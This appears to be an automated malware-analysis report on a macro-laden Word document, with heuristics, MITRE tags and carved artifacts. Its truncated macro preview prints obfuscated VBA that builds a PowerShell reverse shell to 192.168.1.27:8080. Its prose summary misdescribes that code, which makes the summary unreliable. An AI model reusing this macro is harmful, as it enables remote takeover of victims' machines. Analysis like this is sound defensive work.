MALICIOUS
102
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious OOXML document containing VBA macros. The AutoOpen macro is designed to execute a PowerShell command. This command, reconstructed from concatenated characters, is 'powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\Downloads\cleanu.ps1"', indicating it downloads and executes a second-stage payload. This is a common technique for delivering malware via email attachments.
Heuristics 4
-
VBA project inside OOXML medium 2 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 3
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 24201 bytes |
SHA-256: 36ea33bab2dde9bda0c3f17d7e9769784056e6bbce4f36d1fb5dac539470df95 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "AutoOpen"
Sub Main()
Dim aa As String
aa = ""
aa = aa & ChrW(112) & ChrW(111) & ChrW(119) & ChrW(101) & ChrW(114) & ChrW(115) & ChrW(104) & ChrW(101) & ChrW(108)
aa = aa & ChrW(108) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101) & ChrW(32) & ChrW(34) & ChrW(32) & ChrW(102)
aa = aa & ChrW(117) & ChrW(110) & ChrW(99) & ChrW(116) & ChrW(105) & ChrW(111) & ChrW(110) & ChrW(32) & ChrW(99)
aa = aa & ChrW(108) & ChrW(101) & ChrW(97) & ChrW(110) & ChrW(117) & ChrW(112) & ChrW(32) & ChrW(123) & ChrW(105)
aa = aa & ChrW(102) & ChrW(32) & ChrW(40) & ChrW(36) & ChrW(99) & ChrW(108) & ChrW(105) & ChrW(101) & ChrW(110)
aa = aa & ChrW(116) & ChrW(46) & ChrW(67) & ChrW(111) & ChrW(110) & ChrW(110) & ChrW(101) & ChrW(99) & ChrW(116)
aa = aa & ChrW(101) & ChrW(100) & ChrW(32) & ChrW(45) & ChrW(101) & ChrW(113) & ChrW(32) & ChrW(36) & ChrW(116)
aa = aa & ChrW(114) & ChrW(117) & ChrW(101) & ChrW(41) & ChrW(32) & ChrW(123) & ChrW(36) & ChrW(99) & ChrW(108)
aa = aa & ChrW(105) & ChrW(101) & ChrW(110) & ChrW(116) & ChrW(46) & ChrW(67) & ChrW(108) & ChrW(111) & ChrW(115)
aa = aa & ChrW(101) & ChrW(40) & ChrW(41) & ChrW(125) & ChrW(59) & ChrW(32) & ChrW(32) & ChrW(32) & ChrW(32)
aa = aa & ChrW(105) & ChrW(102) & ChrW(32) & ChrW(40) & ChrW(36) & ChrW(112) & ChrW(114) & ChrW(111) & ChrW(99)
aa = aa & ChrW(101) & ChrW(115) & ChrW(115) & ChrW(46) & ChrW(69) & ChrW(120) & ChrW(105) & ChrW(116) & ChrW(67)
aa = aa & ChrW(111) & ChrW(100) & ChrW(101) & ChrW(32) & ChrW(45) & ChrW(110) & ChrW(101) & ChrW(32) & ChrW(36)
aa = aa & ChrW(110) & ChrW(117) & ChrW(108) & ChrW(108) & ChrW(41) & ChrW(32) & ChrW(123) & ChrW(36) & ChrW(112)
aa = aa & ChrW(114) & ChrW(111) & ChrW(99) & ChrW(101) & ChrW(115) & ChrW(115) & ChrW(46) & ChrW(67) & ChrW(108)
aa = aa & ChrW(111) & ChrW(115) & ChrW(101) & ChrW(40) & ChrW(41) & ChrW(125) & ChrW(59) & ChrW(32) & ChrW(32)
aa = aa & ChrW(32) & ChrW(32) & ChrW(101) & ChrW(120) & ChrW(105) & ChrW(116) & ChrW(59) & ChrW(125) & ChrW(59)
aa = aa & ChrW(36) & ChrW(97) & ChrW(100) & ChrW(100) & ChrW(114) & ChrW(101) & ChrW(115) & ChrW(115) & ChrW(32)
aa = aa & ChrW(61) & ChrW(32) & ChrW(39) & ChrW(49) & ChrW(57) & ChrW(50) & ChrW(46) & ChrW(49) & ChrW(54)
aa = aa & ChrW(56) & ChrW(46) & ChrW(49) & ChrW(46) & ChrW(50) & ChrW(55) & ChrW(39) & ChrW(59) & ChrW(36)
aa = aa & ChrW(112) & ChrW(111) & ChrW(114) & ChrW(116) & ChrW(32) & ChrW(61) & ChrW(32) & ChrW(39) & ChrW(56)
aa = aa & ChrW(48) & ChrW(56) & ChrW(48) & ChrW(39) & ChrW(59) & ChrW(36) & ChrW(99) & ChrW(108) & ChrW(105)
aa = aa & ChrW(101) & ChrW(110) & ChrW(116) & ChrW(32) & ChrW(61) & ChrW(32) & ChrW(78) & ChrW(101) & ChrW(119)
aa = aa & ChrW(45) & ChrW(79) & ChrW(98) & ChrW(106) & ChrW(101) & ChrW(99) & ChrW(116) & ChrW(32) & ChrW(115)
aa = aa & ChrW(121) & ChrW(115) & ChrW(116) & ChrW(101) & ChrW(109) & ChrW(46) & ChrW(110) & ChrW(101) & ChrW(116)
aa = aa & ChrW(46) & ChrW(115) & ChrW(111) & ChrW(99) & ChrW(107) & ChrW(101) & ChrW(116) & ChrW(115) & ChrW(46)
aa = aa & ChrW(116) & ChrW(99) & ChrW(112) & ChrW(99) & ChrW(108) & ChrW(105) & ChrW(101) & ChrW(110) & ChrW(116)
aa = aa & ChrW(59) & ChrW(36) & ChrW(99) & ChrW(108) & ChrW(105) & ChrW(101) & ChrW(110) & ChrW(116) & ChrW(46)
aa = aa & ChrW(99) & ChrW(111) & ChrW(110) & ChrW(110) & ChrW(101) & ChrW(99) & ChrW(116) & ChrW(40) & ChrW(36)
aa = aa & ChrW(97) & ChrW(100) & ChrW(100) & ChrW(114) & ChrW(101) & ChrW(115) & ChrW(115) & ChrW(44) & ChrW(36)
aa = aa & ChrW(112) & ChrW(111) & ChrW(114) & ChrW(116) & ChrW(41) & ChrW(59) & ChrW(36) & ChrW(115) & ChrW(116)
aa = aa & ChrW(114) & ChrW(101) & ChrW(97) & ChrW(109) & ChrW(32) & ChrW(61) & ChrW(32) & ChrW(36
... (truncated)
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 44032 bytes |
SHA-256: dba25012c2de2a336976d24265774e979d7494c55001c27f116d293f9df7f7bb |
|||
emf_00.emf |
ooxml-emf | OOXML EMF part: docProps/thumbnail.emf | 3316 bytes |
SHA-256: f1957e27388b7255b7df34762c8979d616eaf2fdce05d1de2b6bae86fb8f3beb |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.